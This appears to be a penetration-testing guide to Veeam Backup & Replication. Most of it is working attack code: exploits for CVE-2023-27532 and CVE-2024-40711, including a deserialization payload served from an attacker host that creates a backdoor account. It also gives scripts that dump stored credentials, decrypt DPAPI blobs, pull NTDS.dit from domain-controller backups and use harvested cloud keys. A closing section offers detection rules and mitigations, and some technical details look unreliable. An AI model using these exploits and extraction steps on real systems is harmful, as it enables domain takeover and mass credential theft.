Veeam Backup & Replication is the dominant backup platform in enterprise environments, protecting virtual machines, physical servers, cloud workloads, and NAS. Because backup infrastructure holds privileged credentials to every protected system — domain controllers, databases, cloud accounts — a compromised Veeam server is often a direct path to full domain takeover. This guide covers authorized security testing of Veeam B&R from initial port discovery through REST API exploitation, CVE chaining, database credential extraction, and cloud repository key harvesting.
Veeam Backup & Replication exposes a rich set of network services. A typical all-in-one deployment runs the backup server, console, catalog, and repository services on a single Windows Server, while enterprise deployments distribute these across dedicated appliances and proxy servers.
| Port / Protocol | Service | Authentication | Pentest Interest |
|---|---|---|---|
TCP 9419 |
Veeam REST API (HTTPS) | Bearer token / Basic | Credential store, job enumeration, CVE-2023-27532 |
TCP 9420 |
Veeam Management Console (WCF) | Windows auth / Basic | CVE-2024-40711 SSRF/RCE chain |
TCP 9421 |
Veeam B&R UI (WinForms remoting) | Windows credentials | Console access via stolen creds |
TCP 9398 |
Veeam Enterprise Manager REST API | Basic / NTLM | Centralized credential vault, all-jobs enumeration |
TCP 9392 |
Veeam Enterprise Manager Web UI | Basic / AD | Credential replay, session fixation |
TCP 6162 |
Veeam vPower NFS Service | None (internal) | NFS mount for instant VM recovery exploitation |
TCP 5432 |
PostgreSQL (VeeamBackup DB) | pg_hba.conf rules | Direct credential blob extraction |
TCP 2500-3300 |
Veeam data transfer channels | Internal session tokens | Traffic interception, job replay |
# Nmap service scan targeting Veeam ports
nmap -sV -p 9419,9420,9421,9392,9398,6162,5432,2500-3300 \
--script "ssl-cert,http-title,banner" \
-oA veeam_discovery 192.168.1.50
# Identify Veeam server from Active Directory SPN (backup service accounts often registered)
ldapsearch -H ldap://dc01.corp.local -x -b "DC=corp,DC=local" \
"(servicePrincipalName=*VeeamBackup*)" sAMAccountName servicePrincipalName
# Check for Veeam agent beacons in internal DNS (common naming: veeam-backup, backup01, vbr)
for name in veeam backup01 backup vbr veeam-srv backup-srv; do
dig +short ${name}.corp.local 2>/dev/null && echo "Found: ${name}.corp.local"
done
# Banner grab on REST API — reveals Veeam version for CVE matching
curl -sk https://192.168.1.50:9419/api/v1/serverInfo | python3 -m json.tool
Veeam does not ship with hardcoded service credentials in recent versions, but its installer creates local Windows accounts, and many organisations deploy it with predictable credentials or leave the PostgreSQL instance using default pg_hba trust authentication on localhost.
| Service | Default Account | Default Password | Notes |
|---|---|---|---|
| Veeam REST API / Console | administrator |
password |
Local Windows admin; common in lab installs and trial deployments |
| Veeam B&R Windows service account | CORP\svc-veeam |
Veeam@2023 |
Frequently set by deployment scripts; check AD password policies |
| Enterprise Manager Web UI | backup |
backup |
Default in older VEM deployments pre-v11 |
| PostgreSQL (VeeamBackup) | postgres |
ve3am!pg |
Veeam-generated password stored in Windows Registry |
| vPower NFS | N/A | No auth | Accessible to any host on the backup network segment by default |
Veeam stores its internal PostgreSQL password in the Windows Registry. If you have code execution on the backup server (via domain admin, CVE exploitation, or physical access to a snapshot), this is the fastest path to database access:
# Read Veeam PostgreSQL password from registry (requires local admin or SYSTEM)
$regPath = "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication"
$pgPass = (Get-ItemProperty -Path $regPath).SqlDatabasePassword
Write-Host "PostgreSQL password: $pgPass"
# Alternatively via reg.exe (for cmd.exe sessions)
reg query "HKLM\SOFTWARE\Veeam\Veeam Backup and Replication" /v SqlDatabasePassword
# Also check for the database connection string in the config file
type "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config" | findstr "connectionString"
# Test authentication against the Veeam REST API
# The API uses Basic auth on /api/oauth2/token to obtain a Bearer token
curl -sk -X POST https://192.168.1.50:9419/api/oauth2/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=administrator&password=password" \
| python3 -m json.tool
# On success, extract access_token for subsequent requests
ACCESS_TOKEN=$(curl -sk -X POST https://192.168.1.50:9419/api/oauth2/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=administrator&password=password" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: $ACCESS_TOKEN"
CVE-2023-27532 was disclosed by Veeam in March 2023 and affects Veeam Backup & Replication versions prior to 12.0.0.1420 (V12) and 11.0.1.1261 P20230227 (V11). The vulnerability allows an unauthenticated remote attacker to query the /api/v1/credentials endpoint and retrieve all encrypted credentials stored in the Veeam credential manager — including domain accounts, local administrator credentials for every protected host, cloud provider keys, and database passwords.
# CVE-2023-27532 — unauthenticated credential enumeration
# Affected: VBR v11 < 11.0.1.1261 P20230227, v12 < 12.0.0.1420
# Step 1: Verify vulnerability — check if /api/v1/credentials is accessible without auth
curl -sk https://192.168.1.50:9419/api/v1/credentials \
-H "Accept: application/json" \
| python3 -m json.tool | head -40
# Step 2: Enumerate the full credential store
curl -sk "https://192.168.1.50:9419/api/v1/credentials?limit=1000" \
-H "Accept: application/json" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for cred in data.get('data', []):
print(f\"ID: {cred['id']}\")
print(f\" Desc: {cred.get('description','')}\")
print(f\" User: {cred.get('username','')}\")
print(f\" Type: {cred.get('credentialsType','')}\")
print()
"
# Step 3: Retrieve individual credential including encrypted password blob
CRED_ID="a1b2c3d4-0000-0000-0000-000000000001"
curl -sk "https://192.168.1.50:9419/api/v1/credentials/${CRED_ID}" \
-H "Accept: application/json" | python3 -m json.tool
# Step 4: Extract Windows credentials (password is returned in clear for some credential types)
# Linux/SSH key credentials may return the private key directly
curl -sk "https://192.168.1.50:9419/api/v1/credentials?credentialsType=Linux" \
-H "Accept: application/json" | python3 -m json.tool
#!/usr/bin/env python3
"""
CVE-2023-27532 — Veeam unauthenticated credential dump
For authorized penetration testing only.
"""
import requests
import json
import sys
import urllib3
urllib3.disable_warnings()
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.50"
BASE_URL = f"https://{TARGET}:9419"
def dump_credentials():
url = f"{BASE_URL}/api/v1/credentials"
params = {"limit": 1000, "offset": 0}
try:
r = requests.get(url, params=params, verify=False, timeout=10)
if r.status_code == 200:
data = r.json()
creds = data.get("data", [])
print(f"[+] CVE-2023-27532 confirmed — {len(creds)} credentials exposed")
print("-" * 60)
for c in creds:
print(f" ID: {c.get('id')}")
print(f" Username: {c.get('username','')}")
print(f" Desc: {c.get('description','')}")
print(f" Type: {c.get('credentialsType','')}")
if c.get('password'):
print(f" Password: {c.get('password')}")
if c.get('privateKey'):
print(f" SSH Key: {c.get('privateKey')[:80]}...")
print()
elif r.status_code == 401:
print("[-] Authentication required — target is patched or uses auth")
else:
print(f"[-] Unexpected status: {r.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
def dump_server_info():
r = requests.get(f"{BASE_URL}/api/v1/serverInfo", verify=False, timeout=10)
if r.status_code == 200:
info = r.json()
print(f"[*] Veeam Version: {info.get('vbrVersion','unknown')}")
print(f"[*] Build: {info.get('buildVersion','unknown')}")
print(f"[*] License: {info.get('productLicense',{}).get('licenseType','unknown')}")
if __name__ == "__main__":
print(f"[*] Target: {BASE_URL}")
dump_server_info()
dump_credentials()
CVE-2024-40711, disclosed in September 2024, affects Veeam Backup & Replication versions prior to 12.2. It combines a server-side request forgery (SSRF) vulnerability in the REST API with a .NET deserialization sink in the internal management service listening on TCP 9420. An unauthenticated attacker can trigger the SSRF to reach the internal service, pass a malicious serialized payload, and achieve SYSTEM-level remote code execution on the Veeam backup server.
/api/v1/import (or similar MetaPost-handling endpoint) on TCP 9419 accepts a URL parameter for metadata import.# Prerequisites:
# 1. Network access to TCP 9419 (Veeam REST API) on the backup server
# 2. Attacker HTTP server reachable FROM the Veeam server (for SSRF callback)
# 3. ysoserial.net for generating the .NET deserialization payload
# Install ysoserial.net (Windows attack host or Wine)
# https://github.com/pwntester/ysoserial.net
# Step 1: Generate BinaryFormatter payload using ObjectDataProvider gadget chain
# This payload executes: net user backdoor P@ssw0rd123 /add
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter \
-c "net user backdoor P@ssw0rd123 /add" \
-o base64 > payload.b64
# Step 2: Create a malicious HTTP server that serves the payload
# Python wrapper to serve the raw binary payload
cat > serve_payload.py << 'EOF'
import http.server
import base64
PAYLOAD_B64 = open("payload.b64").read().strip()
PAYLOAD = base64.b64decode(PAYLOAD_B64)
class PayloadHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, fmt, *args):
print(f"[+] Request from {self.client_address[0]}: {fmt % args}")
http.server.HTTPServer(("0.0.0.0", 8080), PayloadHandler).serve_forever()
EOF
python3 serve_payload.py &
echo "[*] Payload server running on port 8080"
ATTACKER_IP="10.10.10.5"
VEEAM_IP="192.168.1.50"
# Step 3: Trigger the SSRF — the Veeam server will fetch from our payload server
# The exact endpoint and parameter vary by patch level; common variants:
curl -sk -X POST "https://${VEEAM_IP}:9419/api/v1/import" \
-H "Content-Type: application/json" \
-d "{\"url\": \"http://${ATTACKER_IP}:8080/payload\"}"
# Alternative — MetaPost SSRF via vCloud Director import endpoint
curl -sk -X POST "https://${VEEAM_IP}:9419/api/v1/vCloudDirectorVdcs" \
-H "Content-Type: application/json" \
-d "{\"serverName\": \"${ATTACKER_IP}\", \"port\": 8080, \"protocol\": \"http\"}"
# Step 4: Verify RCE — check if backdoor user was created
# (via SMB or WMI with any existing credentials)
crackmapexec smb ${VEEAM_IP} -u backdoor -p 'P@ssw0rd123'
# Step 5: Elevate to local admin and dump credentials
# The Veeam service runs as LocalSystem — the created user has no privileges yet
# Add to local Administrators group with a second payload:
# "net localgroup administrators backdoor /add"
With a valid bearer token (obtained via default credentials, credential spray, or post-exploitation on a domain account that has Veeam Backup Operator or higher), the REST API on TCP 9419 exposes the complete backup infrastructure configuration.
VEEAM="192.168.1.50"
# Authenticate — replace credentials as appropriate
TOKEN=$(curl -sk -X POST "https://${VEEAM}:9419/api/oauth2/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=administrator&password=Veeam2024!" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)
[[ -z "$TOKEN" ]] && echo "[-] Auth failed" || echo "[+] Token obtained"
AUTH="Authorization: Bearer $TOKEN"
# List all backup jobs — reveals what's being protected and by whom
curl -sk "https://${VEEAM}:9419/api/v1/jobs" \
-H "$AUTH" -H "Accept: application/json" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for job in data.get('data', []):
print(f\"Job: {job['name']}\")
print(f\" Type: {job.get('type')}\")
print(f\" Status: {job.get('lastResult')}\")
print(f\" Repo: {job.get('storage',{}).get('backupRepositoryId')}\")
print()
"
# Enumerate all backup repositories — file paths reveal storage locations
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/repositories" \
-H "$AUTH" -H "Accept: application/json" | python3 -m json.tool
# List managed servers — the complete inventory of protected infrastructure
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/managedServers" \
-H "$AUTH" -H "Accept: application/json" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for srv in data.get('data', []):
print(f\"Server: {srv.get('name')} ({srv.get('type')})\")
print(f\" Credential: {srv.get('credentialsId')}\")
"
# Dump all stored credentials (requires Veeam Backup Administrator role)
curl -sk "https://${VEEAM}:9419/api/v1/credentials" \
-H "$AUTH" -H "Accept: application/json" | python3 -m json.tool
# Retrieve cloud credentials (S3, Azure, GCS)
curl -sk "https://${VEEAM}:9419/api/v1/cloudCredentials" \
-H "$AUTH" -H "Accept: application/json" | python3 -m json.tool
# Get details for a specific credential ID
CRED_ID="a1b2c3d4-1111-2222-3333-444444444444"
curl -sk "https://${VEEAM}:9419/api/v1/credentials/${CRED_ID}" \
-H "$AUTH" -H "Accept: application/json" | python3 -m json.tool
# Enumerate all proxy servers — these hold credentials for hypervisor access
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/proxies" \
-H "$AUTH" -H "Accept: application/json" | python3 -m json.tool
# Retrieve vCenter / ESXi server registrations
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/vmwareServers" \
-H "$AUTH" -H "Accept: application/json" | python3 -m json.tool
# List tape libraries
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/tapeServers" \
-H "$AUTH" -H "Accept: application/json" | python3 -m json.tool
Veeam stores its configuration, job definitions, and encrypted credential blobs in a PostgreSQL database named VeeamBackup. A secondary database VeeamBackupCatalogues holds the backup file catalog. With access to the database (via Registry-extracted password, network access from a compromised host, or code execution on the Veeam server), an attacker can extract every credential stored in Veeam.
# Connect from the Veeam server itself (PostgreSQL typically bound to 127.0.0.1)
# Password retrieved from Registry as shown in Section 2
psql -h 127.0.0.1 -p 5432 -U postgres -d VeeamBackup
# From a remote host (if pg_hba.conf allows remote connections — rare but misconfigured)
psql -h 192.168.1.50 -p 5432 -U postgres -d VeeamBackup
# List available Veeam databases
psql -h 127.0.0.1 -U postgres -c "\l" | grep -i veeam
-- Connect to VeeamBackup database
\c VeeamBackup
-- List all tables
\dt
-- Key table: [Credentials] — stores all Veeam credential objects
SELECT id, name, user_name, description, type FROM "Credentials";
-- Retrieve encrypted password blobs — encrypted with Windows DPAPI (SYSTEM context)
SELECT id, user_name, encrypted_password, encrypted_private_key
FROM "Credentials"
ORDER BY name;
-- VCenter / ESXi server registrations with associated credential IDs
SELECT name, host_name, credentials_id, platform_type
FROM "BackupJobVirtualMachineServer";
-- Repository configurations including UNC paths, credentials
SELECT name, friendly_name, path, host_id, credentials_id, type
FROM "BackupRepository";
-- Cloud repository configurations
SELECT name, type, credentials_id, service_endpoint, bucket_name
FROM "CloudRepository";
-- Tape library configurations
SELECT name, host_id, credentials_id
FROM "TapeServer";
-- Backup job definitions — extract source/target mapping
SELECT name, description, job_type, credentials_id, last_result
FROM "Job"
ORDER BY last_result DESC;
-- Application-aware processing credentials (SQL Server, Oracle, Exchange)
SELECT j.name as job_name, cred.user_name, cred.encrypted_password
FROM "Job" j
JOIN "Credentials" cred ON cred.id = j.credentials_id
WHERE cred.type IN ('Windows', 'Linux');
The encrypted password blobs in the Credentials table are protected using Windows DPAPI with the SYSTEM account's master key. Decryption requires either running code as SYSTEM on the Veeam server, or extracting and cracking the DPAPI master key offline using Mimikatz or impacket.
# On the Veeam server (as SYSTEM or local admin) — decrypt via DPAPI
# First, extract the blob from the database
$query = "SELECT encrypted_password FROM [Credentials] WHERE user_name = 'CORP\svc-sql'"
$connStr = "Server=localhost;Database=VeeamBackup;Integrated Security=true"
$conn = New-Object System.Data.SqlClient.SqlConnection($connStr)
# (For PostgreSQL, use Npgsql or psql and copy the hex blob)
# Decrypt using DPAPI
$blobHex = "01000000D08C9DDF0115D1118C7A00C04FC297EB..."
$blob = [System.Convert]::FromHexString($blobHex)
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
$blob, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$password = [System.Text.Encoding]::Unicode.GetString($decrypted)
Write-Host "Decrypted: $password"
# Offline DPAPI decryption with impacket (from a Linux attack host)
# Requires: SYSTEM hive, SECURITY hive, and the DPAPI masterkey files
# Extract hives from Veeam server (requires admin/SYSTEM shell)
reg save HKLM\SYSTEM C:\tmp\SYSTEM.hive
reg save HKLM\SECURITY C:\tmp\SECURITY.hive
# Copy hives and DPAPI masterkeys to attack host
# User masterkeys: C:\Users\\AppData\Roaming\Microsoft\Protect\\
# SYSTEM masterkeys: C:\Windows\System32\Microsoft\Protect\S-1-5-18\
# Decrypt with impacket dpapi module
python3 /opt/impacket/examples/dpapi.py masterkey \
-file /tmp/masterkey_file \
-system /tmp/SYSTEM.hive \
-security /tmp/SECURITY.hive
python3 /opt/impacket/examples/dpapi.py credential \
-file /tmp/veeam_cred_blob.bin \
-key
-- Switch to catalog database — reveals backup file locations and VM inventory
\c VeeamBackupCatalogues
-- Enumerate all backed-up VMs and their last backup paths
SELECT vm_name, last_backup_time, backup_server_name, storage_path
FROM "CatalogVm"
ORDER BY last_backup_time DESC
LIMIT 50;
-- Find backup files containing domain controllers (high-value targets)
SELECT vm_name, storage_path, last_backup_time
FROM "CatalogVm"
WHERE vm_name ILIKE '%DC%' OR vm_name ILIKE '%domain%' OR vm_name ILIKE '%PDC%';
Backup repositories are the storage locations where Veeam writes backup files. CIFS/SMB repositories require domain or local credentials stored in the Veeam credential manager. Extracting these credentials gives direct access to potentially petabytes of backup data, including VMs, databases, and file shares.
# Via REST API — list repositories with credential associations
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/repositories" \
-H "$AUTH" -H "Accept: application/json" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for repo in data.get('data', []):
print(f\"Repository: {repo['name']}\")
print(f\" Type: {repo.get('type')}\")
print(f\" Path: {repo.get('path','')}\")
print(f\" Host: {repo.get('hostId','')}\")
print(f\" Credential: {repo.get('credentialsId','')}\")
print(f\" Capacity: {repo.get('capacityGB','?')} GB\")
print()
"
# Get the credential details for a specific repository
REPO_CRED_ID="bbbbbbbb-0000-0000-0000-000000000002"
curl -sk "https://${VEEAM}:9419/api/v1/credentials/${REPO_CRED_ID}" \
-H "$AUTH" -H "Accept: application/json"
# Once credentials are extracted, mount the CIFS share directly
# SMB repository shares typically contain .vbk (full backup) and .vib (incremental) files
REPO_SHARE="\\\\backup-nas.corp.local\\veeam-backups"
REPO_USER="CORP\\svc-veeam-repo"
REPO_PASS="ExtractedPassword123!"
# Linux mount
mount -t cifs "${REPO_SHARE}" /mnt/veeam \
-o username="${REPO_USER}",password="${REPO_PASS}",domain=CORP
# List backup files by age
find /mnt/veeam -name "*.vbk" -o -name "*.vib" | xargs ls -lth | head -20
# Extract VM disk from VBK backup file using Veeam Explorer tools
# or use the open-source veeam-reader / veeam-bruteforcer tools
# vbk files can also be mounted as NFS via Veeam's instant VM recovery mechanism
# High-value post-exploitation: extract domain credentials from a DC backup
# Identify the domain controller backup
ls /mnt/veeam/ | grep -i "DC\|PDC\|ADDS\|domain"
# Veeam .vbk/.vib files are essentially zip archives containing VMDK/VHD disks
# Use 7zip to list contents
7z l "/mnt/veeam/DC01_Backup_20260701/DC01D20260701.vbk"
# Mount the VMDK from the backup using libguestfs
virt-ls -a "/mnt/veeam/DC01_Backup_20260701/disk1.vmdk" /Windows/NTDS/
# Copy NTDS.dit and SYSTEM hive for offline cracking
virt-copy-out -a "/mnt/veeam/DC01_Backup_20260701/disk1.vmdk" \
/Windows/NTDS/ntds.dit /tmp/ntds.dit
virt-copy-out -a "/mnt/veeam/DC01_Backup_20260701/disk1.vmdk" \
/Windows/System32/config/SYSTEM /tmp/SYSTEM
# Extract NTLM hashes with impacket secretsdump
python3 /opt/impacket/examples/secretsdump.py \
-ntds /tmp/ntds.dit -system /tmp/SYSTEM LOCAL
Many organisations use Veeam to back up directly to cloud object storage — Amazon S3 (including S3-compatible), Azure Blob, and Google Cloud Storage. Veeam stores the corresponding cloud credentials (IAM access keys, SAS tokens, service account keys) in its credential manager. These represent the highest-privilege access credentials in the cloud environment if the backup role was over-provisioned.
# Enumerate cloud credentials specifically
curl -sk "https://${VEEAM}:9419/api/v1/cloudCredentials" \
-H "$AUTH" -H "Accept: application/json" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for cred in data.get('data', []):
print(f\"Cloud Credential: {cred['name']}\")
print(f\" Provider: {cred.get('cloudProvider','')}\")
print(f\" Account: {cred.get('accountId','')}\")
if cred.get('accessKey'):
print(f\" Access Key: {cred.get('accessKey')}\")
if cred.get('secretKey'):
print(f\" Secret Key: {cred.get('secretKey')}\")
if cred.get('sasToken'):
print(f\" SAS Token: {cred.get('sasToken')[:80]}...\")
print()
"
# Validate extracted AWS keys
AWS_ACCESS_KEY="AKIA1234567890ABCDEF"
AWS_SECRET_KEY="ExtractedSecretKey+abc123/xyz789"
export AWS_ACCESS_KEY_ID="${AWS_ACCESS_KEY}"
export AWS_SECRET_ACCESS_KEY="${AWS_SECRET_KEY}"
# Identify the IAM principal
aws sts get-caller-identity
# Enumerate S3 buckets accessible with backup credentials
aws s3 ls
# List the Veeam backup bucket contents
aws s3 ls s3://corp-veeam-backups/ --recursive | head -30
# Check IAM permissions — backup roles often have overly broad access
aws iam get-user
aws iam list-attached-user-policies --user-name veeam-backup-user
aws iam simulate-principal-policy \
--policy-source-arn "arn:aws:iam::123456789012:user/veeam-backup-user" \
--action-names "s3:*" "ec2:*" "iam:*" \
--resource-arns "*" \
--query "EvaluationResults[?EvalDecision=='allowed'].EvalActionName"
# Validate an extracted Azure SAS token
STORAGE_ACCOUNT="corpveeambackups"
SAS_TOKEN="sv=2023-08-03&ss=b&srt=sco&sp=rwdlacupiytfx&se=2027-01-01T00:00:00Z&..."
# List containers using SAS token
az storage container list \
--account-name "${STORAGE_ACCOUNT}" \
--sas-token "${SAS_TOKEN}" \
--output table
# List backup blobs in container
az storage blob list \
--container-name "veeam-backups" \
--account-name "${STORAGE_ACCOUNT}" \
--sas-token "${SAS_TOKEN}" \
--output table | head -20
# If service principal credentials were extracted instead of SAS token
APP_ID="00000000-0000-0000-0000-000000000000"
APP_SECRET="ExtractedClientSecret~abc123"
TENANT_ID="11111111-0000-0000-0000-000000000000"
az login --service-principal -u "${APP_ID}" -p "${APP_SECRET}" --tenant "${TENANT_ID}"
az account list # Enumerate accessible subscriptions
# Veeam stores GCS service account keys as JSON in the credential store
# Extract the JSON key from the database or API response
SA_KEY_JSON='{"type":"service_account","project_id":"corp-prod","private_key_id":"abc123",...}'
echo "${SA_KEY_JSON}" > /tmp/veeam-sa-key.json
gcloud auth activate-service-account --key-file=/tmp/veeam-sa-key.json
# Identify the service account and its project
gcloud config get-value account
gcloud projects list
# List GCS buckets the backup SA can access
gsutil ls
# Enumerate IAM permissions
gcloud projects get-iam-policy corp-prod \
--filter="bindings.members:serviceAccount:veeam@corp-prod.iam.gserviceaccount.com" \
--format="table(bindings.role)"
# Tape server and media pool credentials
curl -sk "https://${VEEAM}:9419/api/v1/backupInfrastructure/tapeServers" \
-H "$AUTH" -H "Accept: application/json" | python3 -m json.tool
# Tape servers typically authenticate using Windows credentials of the server
# running the Veeam Tape Service (local admin required)
# Extract via SQL query for full config:
psql -U postgres -d VeeamBackup -c "
SELECT ts.name, ts.host_id, c.user_name, c.encrypted_password
FROM \"TapeServer\" ts
JOIN \"Credentials\" c ON c.id = ts.credentials_id;
"
Veeam's vPower NFS service allows instant VM recovery by presenting backup files as NFS exports to VMware ESXi hosts. The service listens on TCP 6162 and is typically accessible without authentication from the internal backup network segment. An attacker with network access to this port can enumerate available NFS exports, mount backup disk images directly, and extract data — including secrets from running VM memory snapshots.
VEEAM_IP="192.168.1.50"
# Step 1: Enumerate NFS exports from vPower service
showmount -e ${VEEAM_IP}
# Expected output:
# Export list for 192.168.1.50:
# /VeeamFLR/a1b2c3d4-e5f6-... *
# /VeeamFLR/b2c3d4e5-f6a1-... *
# Step 2: Mount an exported backup volume
mkdir -p /mnt/veeam-nfs
mount -t nfs ${VEEAM_IP}:/VeeamFLR/a1b2c3d4-e5f6-7890-abcd-ef1234567890 \
/mnt/veeam-nfs -o nolock,vers=3
# Step 3: Explore the mounted VM filesystem
ls /mnt/veeam-nfs/
find /mnt/veeam-nfs -name "*.vmdk" -o -name "*.vhd" 2>/dev/null
# Step 4: Mount the VMDK for file-level access
# Using nbdkit + qemu-nbd for direct VMDK mounting
modprobe nbd max_part=8
qemu-nbd -c /dev/nbd0 /mnt/veeam-nfs/DC01/DC01.vmdk
fdisk -l /dev/nbd0
# Mount the Windows partition
mkdir -p /mnt/vm-disk
mount /dev/nbd0p2 /mnt/vm-disk -o ro
# Browse the restored filesystem
ls /mnt/vm-disk/Windows/NTDS/ # Domain controller NTDS database
ls /mnt/vm-disk/Windows/System32/config/ # SAM, SYSTEM, SECURITY hives
ls /mnt/vm-disk/Users/Administrator/ # Administrator profile and credentials
GET /api/v1/instantRecovery.
Veeam Enterprise Manager (VEM) is the centralised management plane that aggregates multiple Veeam Backup & Replication servers under a single console and REST API on TCP 9398. It maintains a credential vault that federates credentials from all connected backup servers, making it a single point of compromise for the entire backup infrastructure.
VEM_IP="192.168.1.51"
# Enterprise Manager uses Basic auth on /api/sessionMngr/?v=latest
# The API version differs from the main Veeam B&R REST API
SESSION=$(curl -sk -X POST "https://${VEM_IP}:9398/api/sessionMngr/?v=latest" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u "administrator:Veeam2024!" \
-d "" | python3 -c "
import sys
from xml.etree import ElementTree
root = ElementTree.fromstring(sys.stdin.read())
ns = {'v': 'http://www.veeam.com/ent/v1.0'}
token = root.find('.//v:X-RestSvcSessionId', ns)
print(token.text if token is not None else '')
" 2>/dev/null)
echo "[*] VEM Session ID: ${SESSION}"
VEM_AUTH="X-RestSvcSessionId: ${SESSION}"
# List all managed Veeam B&R servers
curl -sk "https://${VEM_IP}:9398/api/backupServers" \
-H "${VEM_AUTH}" -H "Accept: application/json" | python3 -m json.tool
# Enumerate credentials across ALL connected backup servers
curl -sk "https://${VEM_IP}:9398/api/credentials" \
-H "${VEM_AUTH}" -H "Accept: application/json" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
creds = data.get('Refs', data.get('data', []))
print(f'[+] Total credentials in Enterprise Manager vault: {len(creds)}')
for c in creds:
print(f\" {c.get('Name','?')} — {c.get('Href','')}\")
"
# Retrieve VMs inventory from all connected backup servers
curl -sk "https://${VEM_IP}:9398/api/vms" \
-H "${VEM_AUTH}" -H "Accept: application/json" | python3 -m json.tool
# Request file-level restore access — generates an NFS token for direct file access
curl -sk -X POST "https://${VEM_IP}:9398/api/vmRestorePoints/RESTORE_POINT_ID/flrAccess" \
-H "${VEM_AUTH}" -H "Content-Type: application/json" \
-d '{"UserName":"administrator","Password":"Veeam2024!"}' | python3 -m json.tool
A particularly dangerous VEM feature allows a Veeam Backup Administrator to request decryption of credentials stored in encrypted backups. If VEM is configured to allow password-loss protection, an attacker with VEM admin access can decrypt any backup file regardless of the original encryption password:
# Request encryption key for a password-protected backup (VEM password loss protection)
# This requires VEM admin role — but grants access to all encrypted backups
curl -sk -X POST "https://${VEM_IP}:9398/api/backupFiles/BACKUP_FILE_ID/requestEncryptionKey" \
-H "${VEM_AUTH}" -H "Content-Type: application/json" \
-d '{"Reason":"Penetration test — authorized credential recovery"}'
# Once approved (or in misconfigured environments, auto-approved)
curl -sk "https://${VEM_IP}:9398/api/backupFiles/BACKUP_FILE_ID/encryptionKey" \
-H "${VEM_AUTH}" | python3 -m json.tool
Detecting attacks against Veeam requires monitoring both the Veeam-specific Windows Event Log channels and network-level indicators. Veeam generates logs in C:\ProgramData\Veeam\Backup\ and the Windows Application Event Log under source Veeam Backup.
| Event ID | Source | Indicator |
|---|---|---|
| Event 190 / 191 | Veeam Backup | REST API authentication success/failure — alert on failures from unexpected IPs |
| Event 500 | Veeam Backup | Credential manager access — bulk reads of credentials outside job execution |
| 4624 (Logon Type 3) | Security | Network logon to Veeam server from non-backup workstations |
| 4648 | Security | Explicit credential use — service account used interactively (lateral movement) |
| 7045 | System | New service installed on Veeam server — common RCE post-exploitation |
| 4698 | Security | Scheduled task created — RCE persistence mechanism |
# Veeam server Zeek/Suricata detection rules (concepts)
# Detect unauthenticated GET requests to /api/v1/credentials (CVE-2023-27532)
# Suricata rule:
# alert http any any -> $VEEAM_SERVERS 9419 (
# msg:"CVE-2023-27532 Veeam Unauthenticated Credential Access";
# http.method; content:"GET";
# http.uri; content:"/api/v1/credentials";
# http.request_header; not content:"Authorization";
# sid:9002703; rev:1;)
# Detect abnormal POST to /api/v1/import with external URL (CVE-2024-40711 SSRF trigger)
# alert http any any -> $VEEAM_SERVERS 9419 (
# msg:"CVE-2024-40711 Veeam SSRF Attempt";
# http.method; content:"POST";
# http.uri; content:"/api/v1/";
# http.request_body; content:"http://";
# sid:9024071; rev:1;)
# Monitor outbound HTTP/S from Veeam server to unexpected destinations (SSRF callback)
# tcpdump on the Veeam server:
tcpdump -i any -n "host 192.168.1.50 and port 80 or port 443 or port 8080" \
-w /tmp/veeam_outbound.pcap
# Check Veeam API access logs
Get-WinEvent -LogName Application -FilterXPath "*[System[Provider[@Name='Veeam MP']]]" `
| Where-Object {$_.Message -like "*credential*"} `
| Select-Object TimeCreated, Message | Format-List
# Enable PostgreSQL query logging to detect direct DB access
# Edit postgresql.conf on the Veeam server:
# log_connections = on
# log_disconnections = on
# log_statement = 'all'
# log_min_duration_statement = 0
# Check for queries against the Credentials table from unexpected sources
grep -i "credentials" /var/log/postgresql/postgresql-*.log | \
grep -v "Veeam" | grep -v "127.0.0.1"
# Detect pg_dump or large SELECT * operations (data exfil indicator)
grep -E "SELECT \*|pg_dump|COPY.*TO" /var/log/postgresql/postgresql-*.log
| Control | Priority | Implementation |
|---|---|---|
| Patch CVE-2023-27532 and CVE-2024-40711 | Critical | Upgrade to Veeam B&R v12.2+ (12.2.0.334) or apply vendor-supplied patches. Verify version via Get-VBRServerSession or REST API /api/v1/serverInfo. |
| Network segmentation | Critical | Firewall TCP 9419, 9420, 9421, 9398, 5432, and 6162 to backup administrator workstations only. Veeam management should not be reachable from user VLANs or DMZ. |
| Multi-factor authentication on REST API | High | Configure Veeam MFA (TOTP) for REST API and console access. Available in v12+. Also enforce MFA on Active Directory accounts used for Veeam management. |
| Immutable backup repositories | High | Use Veeam Hardened Linux Repository or S3 Object Lock (WORM) for backup targets. Immutability prevents ransomware from wiping backups even with full credential compromise. |
| Separate backup service accounts | High | Use dedicated least-privilege service accounts per backup role (proxy, repository, tape). Do not use Domain Admin for Veeam. Rotate credentials regularly via PAM (CyberArk, BeyondTrust). |
